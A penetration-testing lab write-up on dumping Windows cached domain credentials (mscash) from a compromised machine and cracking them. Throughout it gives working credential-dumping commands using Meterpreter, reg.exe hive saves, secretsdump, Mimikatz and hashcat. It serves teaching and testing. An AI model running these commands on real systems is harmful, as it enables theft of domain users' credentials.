Dumping and Cracking mscash - Cached Domain Credentials

This lab focuses on dumping and cracking mscash hashes after SYSTEM level privileges has been obtained on a compromised machine.
Mscash is a Microsoft hashing algorithm that is used for storing cached domain credentials locally on a system after a successful logon. It's worth noting that cached credentials do not expire. Domain credentials are cached on a local system so that domain members can logon to the machine even if the DC is down. It's worth noting that mscash hash is not passable - i.e PTH attacks will not work.
Execution
Meterpreter
Note that in meterpreter session, hashdump only dumps the local SAM account hashes:
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hashdump
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To dump cached domain credentials in mscash format, use a post exploitation module cachedump:
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getuid
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getsystem
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use post/windows/gather/cachedump
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run
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Secretsdump
Impacket's secrestdump tool allows us to dump all the credentials that are stored in registry hives SAM, SECURITY and SYSTEM, so firstly, we need to write those out:
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reg.exe save hklm\sam c:\temp\sam.save
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reg.exe save hklm\security c:\temp\security.save
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reg.exe save hklm\system c:\temp\system.save
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Once the hives are retrieved, they can can be pulled back to kali linux to extract the hashes:
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secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
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Mimikatz
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lsadump::cache
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Cracking mscash / mscache with HashCat
To crack mscache with hashcat, it should be in the following format:
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$DCC2$10240#username#hash
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Meterpreter's cachedump module's output cannot be used in hashcat directly, but it's easy to do it.
Below shows the original output format from cachedump and the format accepted by hashcat:
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echo ; cat hashes.txt ; echo ; cut -d ":" -f 2 hashes.txt
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Let's try cracking it with hashchat now:
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hashcat -m2100 '$DCC2$10240#spot#3407de6ff2f044ab21711a394d85f3b8' /usr/share/wordlists/rockyou.txt --force --potfile-disable
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Where Are Domain Credentials Cached
This can be seen via regedit (running with SYSTEM privileges) in the following key:
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HKEY_LOCAL_MACHINE\SECURITY\Cache
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NL$1..10 are the cached hashes for 10 previously logged users:
By nulling out the Data fields one could remove the credentials from cache. Once cached credentials are removed, if no DC is present, a user trying to authenticate to the system will see:
References
MSCash Hash Primer for Pentesters
WebstersProdigy
https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/
www.securusglobal.com
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